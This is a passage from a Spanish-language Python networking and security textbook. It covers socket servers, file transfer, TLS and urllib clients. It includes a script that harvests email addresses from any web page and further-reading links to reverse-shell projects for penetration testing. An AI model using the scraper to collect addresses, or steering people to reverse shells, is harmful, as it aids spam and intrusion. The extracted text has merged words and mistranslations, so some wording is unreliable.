recvSocket.send(bytes("HTTP/1.1 200 OK\r\n\r\n
<html><body><h1>Hello World!</h1></body></html> \r\
n",'utf-8'))
recvSocket.close()
Aquí estamos estableciendoLa lógica de nuestro servidor cada
vez que recibeUna solicitud de un cliente. Usamos
el accept()método para aceptar conexiones, leer datos
entrantes recv()y responder a una página HTML del
cliente send().
El send()método permite al servidor enviar bytes de datos al
destino especificado, definido en el socket que acepta
conexiones. La clave aquí es que el servidor espera conexiones
del lado del cliente con el accept()método.
Probando el servidor HTTP
Si queremos probar elServidor HTTP: podríamos crear otro
script que nos permita obtener la respuesta enviada por el
servidor que hemos creado. Puedes encontrar el siguiente
código en el testing_http_server.pyarchivo de
la http_servercarpeta:
import socket
webhost = 'localhost'
webport = 8080
print("Contacting %s on port %d ..." % (webhost, webport))
webclient = socket.socket(socket.AF_INET,
socket.SOCK_STREAM)
webclient.connect((webhost, webport))
webclient.send(bytes("GET / HTTP/1.1\r\nHost: localhost\r\n\r\
n".encode('utf-8')))
reply = webclient.recv(4096)
print("Response from %s:" % webhost)
print(reply.decode())
Después de ejecutar el script anterior al realizar una solicitud a
través del servidor HTTP creado en localhost:8080, debería
recibir el siguiente resultado:
Contacting localhost on port 8080 ...
Response from localhost:
HTTP/1.1 200 OK
<html><body><h1>Hello World!</h1></body></html>
En la salida anterior, podemos ver que la HTTP/1.1 200
OKrespuesta se devuelve al cliente. De esta forma,
comprobamos que el servidor se ha implementado
correctamente.
En esta sección, hemos revisado cómo puedes implementar tu
propio servidor HTTP utilizando el enfoque cliente/servidor.Con
el protocolo TCP. La aplicación servidor es un script que
escucha todas las conexiones del cliente y le envía la
respuesta.
Envío de archivos a través de sockets
La siguienteEl objetivo del ejemplo es implementar una
aplicación cliente-servidor que permita el envío de archivos
entre ambos. La idea es establecer una conexión cliente-
servidor entre dos programas Python mediante el módulo
socket estándar y enviar un archivo del cliente al servidor.
La lógica de transferencia de archivos se compone de dos
funciones: el script del cliente define una send_file()función
para enviar un archivo a través de un socket, y el script del
servidor define una receive_file()función que permite recibir el
archivo. Además, el código está preparado para enviar archivos
de cualquier formato y tamaño.
Puede encontrar el siguiente código en
el send_file_client.pyarchivo de la send_file_socketscarpeta:
import os
import socket
import struct
def send_file(sock: socket.socket, filename):
filesize = os.path.getsize(filename)
sock.sendall(struct.pack("<Q", filesize))
with open(filename, "rb") as f:
while read_bytes := f.read(1024):
sock.sendall(read_bytes)
with socket.create_connection(("localhost", 9999)) as
connection:
print("Connecting with the server...")
print("Sending file...")
send_file(connection, "send_file_client.py")
print("File sended")
En el lado del cliente, el send_file()método proporciona las
siguientes tareas:
1. Obtiene el tamaño del archivo a enviar.
2. Informa al servidor la cantidad de bytes que se enviarán
mediante el send_all()método desde el objeto de socket.
3. Envía el archivo en bloques de 1024 bytes utilizando
el send_all()método.
En el lado del servidor, la receive_file_size()función se encarga
de que se reciban los bytes que indican el tamaño del archivo a
enviar, el cual es codificado por el cliente a través
de struct.pack(), una función queGenera una secuencia de
bytes que representa el tamaño del archivo. Puedes encontrar
el siguiente código en el send_file_server.pyarchivo de
la send_file_socketscarpeta:
import socket
import struct
def receive_file_size(sock: socket.socket):
fmt = "<Q"
expected_bytes = struct.calcsize(fmt)
received_bytes = 0
stream = bytes()
while received_bytes < expected_bytes:
chunk = sock.recv(expected_bytes - received_bytes)
stream += chunk
received_bytes += len(chunk)
filesize = struct.unpack(fmt, stream)[0]
return filesize
En el lado del cliente, el receive_file()método de función
proporciona las siguientes tareas:
1. Lee desde el socket el número de bytes que se recibirán
del archivo.
2. Abre un nuevo archivo para guardar los datos recibidos.
3. Recibe los datos del archivo en bloques de 1024 bytes
hasta alcanzar el número total de bytes informado por el
cliente.
Puede encontrar el siguiente código en
el send_file_server.pyarchivo de la send_file_socketscarpeta:
def receive_file(sock: socket.socket, filename):
filesize = receive_file_size(sock)
with open(filename, "wb") as f:
received_bytes = 0
while received_bytes < filesize:
chunk = sock.recv(1024)
if chunk:
f.write(chunk)
received_bytes += len(chunk)
with socket.create_server(("localhost", 9999)) as server:
print("Waiting the client connection on localhost:999 ...")
connection, address = server.accept()
print(f"{address[0]}:{address[1]} connected.")
print("Receiving file...")
receive_file(connection, "file_received.py")
print("File received")
Para probar su código, debe asegurarse de modificar las
llamadas a las funciones send_file()yreceive_file()Con la ruta
del archivo que se desea enviar y la ruta del archivo donde se
desea recibir, que en el código actual es el archivo
llamado send_file_client.py, y se recibe con el
nombre file_received.py. Primero, ejecutamos el script del
servidor en una terminal y, en otra terminal, ejecutamos el
script del cliente:
$ python send_file_server.py
Waiting the client connection on localhost:999 ...
127.0.0.1:48550 connected.
Receiving file...
File received
$ python send_file_client.py
Connecting with the server...
Sending file...
File sended
En el ejemplo anterior, repasamos cómo enviar un archivo en
una aplicación cliente-servidor. A continuación, analizaremos
el sslmódulo y su uso junto con el módulo socket para conectar
y crear servidores de forma segura.
Implementación de sockets seguros con los módulos TLS y SSL
La biblioteca estándar de PythonSe proporciona sslcomo un
módulo integrado que puede utilizarse como un servidor web
HTTP/HTTPS minimalista.Proporciona soporte para el protocolo
y permite ampliar las capacidades mediante la subclasificación.
Este módulo proporciona acceso aCifrado de Seguridad de la
Capa de Transporte (SLA) y utiliza el opensslmódulo a bajo
nivel para la gestión de certificados. En la documentación,
encontrará ejemplos sobre cómo establecer una conexión y
obtener certificados de un servidor de forma segura. Puede
encontrar la documentación de este módulo en la siguiente
URL: https://docs.python.org/3/library/ssl.html .
A continuación, implementaremos algunas funcionalidades que
ofrece este módulo. Por ejemplo, podríamos...acceder a los
protocolos de cifradocompatible con el sslmódulo. TúPuede
encontrar el siguiente código en el get_ciphers.pyarchivo
dentro de la sslcarpeta:
import ssl
ciphers = ssl.SSLContext(ssl.PROTOCOL_SSLv23).get_ciphers()
for cipher in ciphers:
print(cipher['name']+" "+cipher['protocol'])
En el código anterior, utilizamos el get_ciphers()método para
obtener los protocolos de cifrado junto con el nombre y la
versión obtenidos:
$ python get_ciphers.py
TLS_AES_256_GCM_SHA384 TLSv1.3
TLS_CHACHA20_POLY1305_SHA256 TLSv1.3
TLS_AES_128_GCM_SHA256 TLSv1.3
ECDHE-ECDSA-AES256-GCM-SHA384 TLSv1.2
ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2
ECDHE-ECDSA-AES128-GCM-SHA256 TLSv1.2
ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2
ECDHE-ECDSA-CHACHA20-POLY1305 TLSv1.2
ECDHE-RSA-CHACHA20-POLY1305 TLSv1.2
ECDHE-ECDSA-AES256-SHA384 TLSv1.2
ECDHE-RSA-AES256-SHA384 TLSv1.2
ECDHE-ECDSA-AES128-SHA256 TLSv1.2
ECDHE-RSA-AES128-SHA256 TLSv1.2
DHE-RSA-AES256-GCM-SHA384 TLSv1.2
DHE-RSA-AES128-GCM-SHA256 TLSv1.2
DHE-RSA-AES256-SHA256 TLSv1.2
DHE-RSA-AES128-SHA256 TLSv1.2
Otra funcionalidad que podemos implementar es obtener el
certificado del servidor de un dominio específico. Por ejemplo,
podríamos obtener el certificado del python.orgdominio.
Puedes encontrar el siguiente código en
el get_server_certificate.pyarchivo dentro de la sslcarpeta:
import ssl
address = ('python.org', 443)
certificate = ssl.get_server_certificate(address)
print(certificate)
Al ejecutar el anteriorguión, tenemos la posibilidadde generar
un archivo con la información del certificado y visualizar la
clave que genera:
$ python get_server_certificate.py >> server_certificate.crt
$ python get_server_certificate.py
-----BEGIN CERTIFICATE-----
MIIFKTCCBBGgAwIBAgISA+KJEyuCbf9DcYkoyEHvedfOMA0GCSq
GSIb3DQEBCwUA
MDIxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNy
eXB0MQswCQYDVQQD
EwJSMzAeFw0yMjEwMTExNzIyMTRaFw0yMzAxMDkxNzIyMTNaM
BcxFTATBgNVBAMM
DCoucHl0aG9uLm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPA
DCCAQoCggEBALgB
ZexqwwR/
s0tmurNuQ+DhIX+Uzaii6LMRLitEwLO5DNIXhvMEE+efanQ/
RadP9lMi
e6vSE3whskZRjL1mnUUwa2CChVA597+ZcLAyI+jG4tDJLl5LeJL3
eyJMz0ekf67O
S3bivNkTv07ahnI3ErDb9tUOmoputlFrpi6X9yuRaiKgfcWF+2IrTR
NowQqW16Hz
f7zikFksAFIMLj4V+WUJH/
c1xhYjTI4S1bX4gLJWBAAQxYgjUD9tUCT5zhSCwvo5
ey/
U7F5MgKHBhCwOlXZvpGIP3ZTBS9J+82tJRE0OKrua7oExZcYNJ/
2MxgOLLNQw
43j+vp551FMOk3PcUtECAwEAAaOCAlIwggJOMA4GA1UdDwEB/
wQEAwIFoDAdBgNV
HSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/
BAIwADAdBgNVHQ4E
FgQUj4how3pl2R79o6SM9Qnw0FIjyeswHwYDVR0jBBgwFoAUFC
6zF7dYVsuuUAlA
5h+vnYsUwsYwVQYIKwYBBQUHAQEESTBHMCEGCCsGAQUFBzA
BhhVodHRwOi8vcjMu
by5sZW5jci5vcmcwIgYIKwYBBQUHMAKGFmh0dHA6Ly9yMy5pL
mxlbmNyLm9yZy8w
IwYDVR0RBBwwGoIMKi5weXRob24ub3JnggpweXRob24ub3JnME
wGA1UdIARFMEMw
CAYGZ4EMAQIBMDcGCysGAQQBgt8TAQEBMCgwJgYIKwYBBQUH
AgEWGmh0dHA6Ly9j
cHMubGV0c2VuY3J5cHQub3JnMIIBAwYKKwYBBAHWeQIEAgSB9A
SB8QDvAHUAtz77
JN+cTbp18jnFulj0bF38Qs96nzXEnh0JgSXttJkAAAGDyEhzeAAAB
AMARjBEAiBK
xsLhJoB6sYpymgqJ+OnKurO4snED/
qaGjyZ+3QmcJQIgXYEIp+3MxTFqQ3J/tsCf
cM6i/
pY6UeCh2v3Ns6XtcPIAdgB6MoxU2LcttiDqOOBSHumEFnAyE4VN
O9IrwTpX
o1LrUgAAAYPISHOKAAAEAwBHMEUCIQC4XUm4zYrfbA4eLgUgN
0+5bccYw/mJBHQY
4u+dxDWfpgIgUriJmuHMytvTzYOQYQPOeaflMzuqbEPKWujuilRu
GGkwDQYJKoZI
hvcNAQELBQADggEBAKLEq+31TPcQi5PIwSh4kDTOPNskvW8SX/
6n7grluT9mpHBb
WuhHNj+zzML8lFjzR+45Zm6KTKM+kY2XLHVz0MtEp2R5QD8KP
mSIkOPgzgBXEELt
616PEDKPiP72oH1ty/ti0hXDBUOY8onUIkcRRbdMun1/
LwgVznGUrwqOLKZPxg89
nGurrkySwO6ep2S9cXNtqlKZ60KTyL40Ok736sR1YNkvGbYUa/
0wldF820/JupHi
kX6/2Fe14jXPrepbmYEP6u2LJso1/
NOsPN57wThiKE+QXCUsykwIOXqhzyNCUmD8
JBicwHrPQzGnIGOm+zUAPRfygXjyDut/gDQV00k=
-----END CERTIFICATE-----
Podríamos continuar con elImplementación de un cliente que
se conecta de forma segura a un dominio a través del
puerto 443. Puede encontrar el siguiente código en
el socket_ssl.pyarchivo dentro de la sslcarpeta:
import ssl
import socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
secure_socket = ssl.wrap_socket(sock)
data = bytearray()
try:
secure_socket.connect(("www.google.com", 443))
print(secure_socket.cipher())
secure_socket.write(b"GET / HTTP/1.1 \r\n")
secure_socket.write(b"Host: www.google.com\n\n")
data = secure_socket.read()
print(data.decode("utf-8"))
except Exception as exception:
print("Exception: ", exception)
En el código anterior, vemos cómose conecta a través de un
enchufeusando el puerto 443 y obtieneEl algoritmo de cifrado.
Además, solicite GETleer los encabezados de la respuesta
enviada por el servidor:
$ python socket_ssl.py
('TLS_AES_256_GCM_SHA384', 'TLSv1.3', 256)
HTTP/1.1 200 OK
Date: Thu, 10 Nov 2022 15:16:56 GMT
Expires: -1
Cache-Control: private, max-age=0
Content-Type: text/html; charset=ISO-8859-1
P3P: CP="This is not a P3P policy! See g.co/p3phelp for more
info."
Server: gws
X-XSS-Protection: 0
X-Frame-Options: SAMEORIGIN
Set-Cookie: AEC=AakniGOuBW49Q_Qv3ZpQEO-
OX_2tP2afModKwCwXrWtENcifbLSurT-5bg; expires=Tue, 09-
May-2023 15:16:56 GMT; path=/; domain=.google.com;
Secure; HttpOnly; SameSite=lax
Set-Cookie: __Secure-
ENID=8.SE=ML8mFvchJl_JpkWwXwv8_QLS3du_BT0XQb0SYP4Z
23ggPys7HAQIgleKv_cbxlIT8bcsDxpHTcN3V9p8k3G5ARGdXOie4
D42MuOQwCqrSMc1OtxD0xG2v0iEZc-
GyWckH1_b5Le02xIXxyxBurhMGy0e-G4HPUtIzxdeEJxrPp4;
expires=Mon, 11-Dec-2023 07:35:14 GMT; path=/;
domain=.google.com; Secure; HttpOnly; SameSite=lax
Set-Cookie: CONSENT=PENDING+459; expires=Sat, 09-Nov-
2024 15:16:56 GMT; path=/; domain=.google.com; Secure
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443";
ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443";
ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443";
ma=259200
En la ejecución del script anterior, podemos ver el algoritmo de
cifrado y los encabezados enviados por elservidor.
Podríamos continuar con elImplementación de un servidor con
socket seguro. Para esta tarea, podemos implementar como
base un servidor HTTP que acepte GETsolicitudes mediante las
clases HTTPServery BaseHTTPRequestHandlerdel http.servermó
dulo. Posteriormente, debemos agregar la capa de seguridad
utilizando los certificados generados para nuestro dominio.
Para lo siguiente:Por ejemplo, necesitamos generar un
certificado para el HTTPServerscript. Para generar certificados,
podemos usar herramientas como OpenSSL con el siguiente
comando:
$ openssl req -x509 -newkey rsa:2048 -keyout key.pem -out
cert.pem -days 365
Generating a RSA private key
......................................+++++
....................+++++
writing new private key to 'key.pem'
Enter PEM pass phrase:
Verifying - Enter PEM pass phrase:
-----
You are about to be asked to enter information that will be
incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished
Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:
State or Province Name (full name) [Some-State]:
Locality Name (eg, city) []:
Organization Name (eg, company) [Internet Widgits Pty Ltd]:
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:
Email Address []:
El siguiente ejemplo es un servidor HTTP simple que
responde Hello, world!al solicitante. Tenga en cuenta
que self.send_response(200)y self.end_headers()son
instrucciones obligatorias paraenviando respuestas
yEncabezados de la solicitud del cliente. Puede encontrar el
siguiente código en el https_server.pyarchivo dentro de
la sslcarpeta:
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl
class SimpleHTTPRequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.end_headers()
self.wfile.write(b'Hello, world!')
if __name__ == '__main__':
https_server = HTTPServer(('localhost', 4443),
SimpleHTTPRequestHandler)
context =
ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)
context.load_cert_chain(certfile="cert.pem",
keyfile="key.pem")
https_server.socket =
context.wrap_socket(https_server.socket, server_side=True)
https_server.serve_forever()
En el código anterior, vemosLa implementación de
la SimpleHTTPRequestHandlerclase, que hereda de
la BaseHTTPRequestHandlerclase anterior. Esta clase tiene
un do_GETmétodo para gestionar una GETsolicitud. En nuestro
programa principal, creamos un servidor HTTP usando el
puerto 4443y, posteriormente, usamos
[ create_default_context()nombre del servidor], al que
añadimos la capa de seguridad con los certificados. Finalmente,
usamos el wrap_socket()método del objeto de contexto para
establecer el servidor en el socket creado.
Al ejecutar el script anterior, primero se solicita la contraseña
PEM o la contraseña que usamos para crear el certificado. Si la
contraseña es correcta, podemos realizar solicitudes de forma
segura mediante HTTPS en el puerto establecido 4443:
$ python https_server.py
Enter PEM pass phrase:
127.0.0.1 - - [10/Nov/2022 17:48:28] "GET / HTTP/1.1" 200 -
Al realizar una GETsolicitud utilizando un navegador en el
servidor como https://localhost:4443, llamaría
al do_GET()método y devolvería el mensaje Hello world.
Resumen
En este capítulo, repasamos el uso del módulo socket para
implementar arquitecturas cliente-servidor en Python con los
protocolos TCP y UDP. Primero, revisamos el módulo socket
para implementar un cliente y los principales métodos para
resolver direcciones IP de dominios, incluyendo la gestión de
excepciones. Continuamos implementando casos prácticos,
como el escaneo de puertos y una aplicación cliente-servidor
con paso de mensajes mediante los protocolos TCP y UDP.
Finalmente, implementamos nuestra propia aplicación cliente-
servidor de forma segura mediante sockets SSL.
La principal ventaja de los sockets es que mantienen la
conexión en tiempo real, lo que permite enviar y recibir datos
de un extremo a otro de la conexión. Por ejemplo, podríamos
crear nuestro propio chat, es decir, una aplicación cliente-
servidor que permite recibir y enviar mensajes en tiempo real.
En el próximo capítulo, exploraremos los paquetes de solicitud
HTTP para trabajar con Python, ejecutar solicitudes a través de
una API REST y la autenticación en servidores.
Preguntas
Para concluir, aquí tienes una lista de preguntas para que
pongas a prueba tus conocimientos sobre el material de este
capítulo. Encontrarás las respuestas en la sección de
Evaluaciones del Apéndice .
1. ¿Qué método del módulo de socket permite que un socket
de servidor acepte solicitudes de un socket de cliente de
otro host?
2. ¿Qué métodos del módulo de socket le permiten enviar y
recibir datos desde una dirección IP?
3. ¿Qué método del módulo de socket le permite
implementar el escaneo de puertos con sockets y verificar
el estado del puerto?
4. ¿Cuál es la diferencia entre los protocolos TCP y UDP y
cómo se implementan en Python con el módulo socket?
5. ¿Cuál es el módulo de Python y las principales clases que
podemos usar para crear un servidor HTTP?
Lectura adicional
En los siguientes enlaces encontrará más información sobre las
herramientas mencionadas y la documentación oficial de
Python para el módulo socket:
Documentación del módulo de
socket : https://docs.python.org/3/library/socket.ht
ml
Ejemplos de sockets de
Python : https://realpython.com/python-sockets
Conexión de socket
seguro : https://docs.python.org/3/library/ssl.html
Otros proyectos relacionados con la obtención de
un shell inverso :
Al realizar una prueba de penetración, a veces se encuentran
vulnerabilidades críticas que, al ser explotadas, permiten
generar un shell, que puede vincularse o revertirse según
corresponda. Para ello, existe un proyecto interesante en
GitHub llamado Shellerator que, medianteMediante un
asistente, se enseñan comandos válidos que se pueden
ejecutar en el objetivo para generar un shell. Este proyecto
está desarrollado en Python 3 y cuenta con un archivo
llamado requirements.txtpara instalar todas las dependencias
mediante PIP. Otro proyecto interesante
es https://github.com/0xTRAW/PwnLnX , un shell inverso
avanzado de Python multiproceso y multicliente para
hackear sistemas Linux.
Únete a nuestra comunidad en Discord
Únase al espacio Discord de nuestra comunidad para discutir
con el autor y otros lectores:
https://packt.link/SecNet
4
Programación HTTP y autenticación web
Este capítulo presenta los módulos urlliby requestspara realizar
solicitudes y recuperar recursos web. El módulo de
terceros requestses una alternativa muy popular urllib; cuenta
con una interfaz elegante y un potente conjunto de funciones,
y es una herramienta excelente para optimizar los flujos de
trabajo HTTP. Además, abordamos los mecanismos de
autenticación HTTP y cómo gestionarlos con el requestsmódulo.
Finalmente, explicamos cómo implementar clientes OAuth
y JWT para la generación de tokens en aplicaciones web con
los módulos requests-oauthliby .jwt
Este capítulo nos brindará las bases para familiarizarnos con
diferentes alternativas dentro de Python cuando necesitamos
utilizar un módulo que brinde diferentes funcionalidades para
realizar solicitudes a un servicio web o una API REST.
En este capítulo se tratarán los siguientes temas:
Construyendo un cliente HTTP con el urllibmódulo
Construyendo un cliente HTTP con el requestsmódulo
Mecanismos de autenticación con Python
Implementación de clientes OAuth en Python con el
módulo requests-oauthlib
Implementación de tokens web JSON ( JWT ) en Python
Requisitos técnicos
Para aprovechar al máximo este capítulo, necesitará conocer
los conceptos básicos de programación en Python y tener
algunos conocimientos básicos de HTTP.
Además, necesitará instalar la distribución de Python en su
equipo local. Trabajaremos con la versión 3.10 de Python,
disponible en https://www.python.org/downloads .
Los ejemplos y el código fuente de este capítulo están
disponibles en el repositorio de GitHub
en https://github.com/PacktPublishing/Python-for-
Security-and-Networking .
Mira el siguiente video para ver el código en
acción: https://packt.link/Chapter04 .
Construyendo un cliente HTTP con urllib.request
El urllib.requestpaquete es el paquete de la biblioteca estándar
de Python recomendado para tareas HTTP.
El urllibpaqueteTiene una interfaz sencilla y tiene la capacidad
de gestionar todas las tareas relacionadas con las solicitudes
HTTP.
Introducción al protocolo HTTP
HTTP es una aplicaciónProtocolo de capa que define las reglas
que deben seguir los clientes, proxies y servidores para el
intercambio de información. Consta de dos elementos:
Una solicitud realizada por el cliente aun recurso
específico en un servidor remoto, especificado por una
URL
Una respuestaEnviado por el servidor que suministra el
recurso solicitado por el cliente
El protocolo HTTP es un protocolo sin estado que no almacena
la información intercambiada entre el cliente y el servidor. Al
ser un protocolo sin estado para almacenar información
durante una transacción HTTP, es necesario recurrir a otras
técnicas para almacenar datos. Los enfoques más comunes son
las cookies (valores almacenados en el lado del cliente) o las
sesiones (espacios de memoria temporales reservados para
almacenar información sobre una o más transacciones HTTP en
el lado del servidor).
Los servidores devuelven un código HTTP que indica el
resultado de una operación solicitada por el cliente. Además,
las solicitudes pueden usar encabezados para incluir
información adicional tanto en las solicitudes como en las
respuestas.
También es importante tener en cuenta que el protocolo HTTP
utiliza sockets de bajo nivel para establecer una conexión
cliente-servidor. En Python, podemos usar un módulo de alto
nivel como urllib.request, que nos abstrae del servicio de
sockets de bajo nivel.
Con esta comprensión básica del protocolo HTTP, ahora iremos
un paso más allá y crearemos clientes HTTP utilizando
diferentes bibliotecas de Python.
Cada vez que se realiza una solicitud a un servidor web, este la
recibe y la procesa para posteriormente devolver los recursos
solicitados junto con las cabeceras HTTP. Los códigos de estado
de una respuesta HTTP indican si una solicitud HTTP específica
se ha completado correctamente.
Podemos leer elCódigo de estado de una respuesta que utiliza
su statuspropiedad. El valor de 200es un código de estado
HTTP que indica que la solicitud se ha realizado correctamente.
Los códigos de estado se clasifican en los siguientes grupos:
100: Informativo
200: Éxito
300: Redirección
400:Error del cliente
500:Error del servidor
Dentro de la 3XXclase de código de estado, encontramos
el 302código de redirección, que indica que una URL dada por
los encabezados de ubicación se ha movido temporalmente,
dirigiéndolos directamente a la nueva ubicación. Otro código
que encontramos es 307, que se utiliza como redirección
interna cuando el navegador detecta que la URL usa HTTPS.
En la siguiente sección revisaremos el urllibmódulo, que nos
permite probar la respuesta de un sitio web o servicio web y es
una buena opción para implementar los clientes HTTP para los
protocolos HTTP y HTTPS.
Presentamos el módulo urllib
El urllibmódulo permiteacceso a cualquier recurso publicado en
elRed (página web, archivos, directorios, imágenes, etc.)
mediante diversos protocolos (HTTP, FTP y SFTP). Para empezar
a consumir un servicio web, debemos importar los siguientes
módulos:
>>> import urllib.request
>>> import urllib.parse
Al usar esta urlopenfunción, se genera un objeto similar a un
archivo para leer la URL. Este objeto tiene métodos
como read, readline, readlinesy close, que funcionan con
objetos de archivo, aunque trabajamos con métodos de
contenedor que nos abstraen del uso de sockets de bajo nivel.
El urllib.requestmóduloPermite acceder a un recurso publicado
en internet a través de su dirección. Si consultamos la
documentación del módulo de Python
3, https://docs.python.org/3/library/urllib.request.html#
module-urllib.request , veremos todas las funciones que
tienen esta clase.
La urlopenfunción proporciona un parámetro de datos opcional
para enviar información a direcciones HTTPutilizando
el POSTmétodo, donde la solicitud misma envíaParámetros.
Este parámetro es una cadena con la codificación correcta:
urllib.request.urlopen (url, data = None, [timeout,] *, cafile =
None, capath = None, cadefault = False, context = None)
En el siguiente script, usamos el urlopenmétodo para realizar
una POSTsolicitud usando el dataparámetro como diccionario.
Puedes encontrar el siguiente código en
el urllib_post_request.pyarchivo dentro de
la urllib.requestcarpeta:
import urllib.request
import urllib.parse
data_dictionary = {"id": "0123456789"}
data = urllib.parse.urlencode(data_dictionary)
data = data.encode('ascii')
with urllib.request.urlopen("http://httpbin.org/post", data) as
response:
print(response.read().decode('utf-8'))
En el código anterior, realizamos una POSTsolicitud usando
el datadiccionario. Usamos el encodemétodo en lugar del
diccionario de datos, ya que los POSTdatos deben estar en
formato de bytes.
Recuperar el contenido de una URL es un proceso sencillo
cuando se usa urllib. Puedes abrir el intérprete de Python y
ejecutar las siguientes instrucciones:
>>> from urllib.request import urlopen
>>> response = urlopen('http://www.packtpub.com')
>>> response
<http.client.HTTPResponse object at 0x7fa3c53059b0>
>>> response.readline()
Aquí usamos el urllib.request.urlopen()método para enviar una
solicitud y recibir una respuesta para el recurso en el
dominio https://www.packtpub.com ; en este caso, una
página HTML. A continuación, imprimiremos la primera línea
del HTML recibido con el readline()método del responseobjeto.
El urlopen()métodoTambién soporta la especificación de un
timeout para la petición que representa el tiempo de espera en
la petición, es decir si la página tarda más de lo que indicamos
dará como resultado un error:
>>>
print(urllib.request.urlopen("http://packtpub.com",timeout=30))
En el ejemplo anterior, podemosObserve que
el urlopen()método devuelve una instancia de
la http.client.HTTPResponseclase. El objeto de respuesta nos
devuelve información con los datos solicitados y de respuesta:
<http.client.HTTPResponse object at 0x03C4DC90>
Si recibimos una respuesta en formato JSON, podemos usar
el jsonmódulo Python para procesar la jsonrespuesta:
>>> import json
>>> response = urllib.request.urlopen(url,timeout=30)
>>> json_response = json.loads(response.read())
En el siguiente script, realizamos una solicitud a un servicio que
devuelve los datos en formato JSON. Puede encontrar el
siguiente código en el json_response.pyarchivo dentro de
la urllib.requestcarpeta:
import urllib.request
import json
url= "http://httpbin.org/get"
with urllib.request.urlopen(url) as response_json:
data_json= json.loads(response_json.read().decode("utf-8"))
print(data_json)
En el código anterior, usamos un servicio que devuelve un
documento JSON. Para leer este documento, usamos
un jsonmódulo que proporciona el loads()método que devuelve
un diccionario de la jsonrespuesta. En la salida del script
anterior, podemos ver que la jsonrespuesta devuelve un
diccionario con el key:valueformato de cada encabezado:
{'args': {}, 'headers': {'Accept-Encoding': 'identity', 'Host':
'httpbin.org', 'User-Agent': 'Python-urllib/3.6', 'X-Amzn-Trace-Id':
'Root=1-5ee671c4-fe09f0a062f43fc0014d6fa0'}, 'origin':
'185.255.105.40', 'url': 'http://httpbin.org/get'}
Ahora que tuAhora que conocemos los conceptos básicos
del urllib.requestmódulo, pasemos a aprender a
personalizarlo.encabezados de solicitud con este módulo.
Obtener encabezados de solicitud y respuesta
Las solicitudes HTTP constan de dos partes principales: el
encabezado y el cuerpo. Los encabezados son líneas de
información.que contienen metadatos específicos sobre la
respuesta y le dicen al cliente cómoPara interpretar la
respuesta. Con este módulo, podemos comprobar si los
encabezados pueden proporcionar información del servidor
web.
Los encabezados HTTP contienen información diversa sobre la
solicitud HTTP y el cliente que se utiliza para realizarla. Por
ejemplo, User-Agentproporcionan información sobre el
navegador y el sistema operativo que se utilizan para realizar
la solicitud.
El siguiente script obtendrá los encabezados del sitio a través
de los encabezados del objeto de respuesta. Para ello,
podemos usar la headerspropiedad o el getheaders()método.
El getheaders()método devuelve los encabezados como una
lista de tuplas con el formato (header name, header value).
Puede encontrar el siguiente código en
el get_headers_response_request.pyarchivo dentro de
la urllib.requestcarpeta:
import urllib.request
from urllib.request import Request
def chrome_user_agent(domain, USER_AGENT):
opener = urllib.request.build_opener()
opener.addheaders = [('User-agent', USER_AGENT)]
urllib.request.install_opener(opener)
response = urllib.request.urlopen(domain)
print("Response headers")
print("--------------------")
for header,value in response.getheaders():
print(header + ":" + value)
request = Request(domain)
request.add_header('User-agent', USER_AGENT)
print("\nRequest headers")
print("--------------------")
for header,value in request.header_items():
print(header + ":" + value)
if __name__ == '__main__':
domain = "http://python.org"
USER_AGENT = 'Mozilla/5.0 (Linux; Android 10)
AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/83.0.4103.101 Mobile Safari/537.36'
chrome_user_agent(domain, USER_AGENT)
En el script anterior, estamos personalizandoEl User-
agentencabezado con una versión específica de
ChromeNavegador. Para cambiar User-agent, hay dos
alternativas. La primera es usar la addheaderspropiedad
del openerobjeto. La segunda implica usar
el add_header()método del Requestobjeto para agregar
encabezados mientras lo creamos request. Al ejecutar el script
anterior, obtenemos los encabezados de respuesta y solicitud
de una URL específica:
$ python get_headers_response_request.py
Response headers
--------------------
Connection:close
Content-Length:50999
Server:nginx
Content-Type:text/html; charset=utf-8
X-Frame-Options:DENY
Via:1.1 vegur, 1.1 varnish, 1.1 varnish
Accept-Ranges:bytes
Date:Sun, 20 Nov 2022 17:58:43 GMT
Age:36
X-Served-By:cache-iad-kiad7000025-IAD, cache-mad22049-
MAD
X-Cache:HIT, HIT
X-Cache-Hits:50, 1
X-Timer:S1668967123.451624,VS0,VE1
Vary:Cookie
Strict-Transport-Security:max-age=63072000;
includeSubDomains
Request headers
--------------------
User-agent:Mozilla/5.0 (Linux; Android 10) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/83.0.4103.101 Mobile
Safari/537.36
Acabamos de aprender a usar los encabezados
del urllib.requestpaquete para obtener información sobre el
servidor web relacionado con un dominio o URL específicos. A
continuación, aprenderemos a usar este paquete para extraer
correos electrónicos de las URL.
Extraer correos electrónicos de una URL con
urllib.request
En el siguiente script, podemos ver cómo extraer correos
electrónicos usando el remódulo de expresión regular ( ) para
encontrar elementosQue contengan @el contenido devuelto
por la solicitud. Puede encontrar el siguiente código en
el get_emails_url_request.pyarchivo dentro de
la urllib.requestcarpeta:
import urllib.request
import re
USER_AGENT = 'Mozilla/5.0 (Linux; Android 10)
AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/83.0.4103.101 Mobile Safari/537.36'
url = input("Enter url:")
opener = urllib.request.build_opener()
opener.addheaders = [('User-agent', USER_AGENT)]
urllib.request.install_opener(opener)
response = urllib.request.urlopen(url)
html_content= response.read()
pattern = re.compile("[-a-zA-Z0-9._]+@[-a-zA-Z0-9_]+.[a-zA-Z0-
9_.]+")
mails = re.findall(pattern,str(html_content))
print(mails)
En el script anterior, usamos
el urllib.request.build_opener()método para personalizar
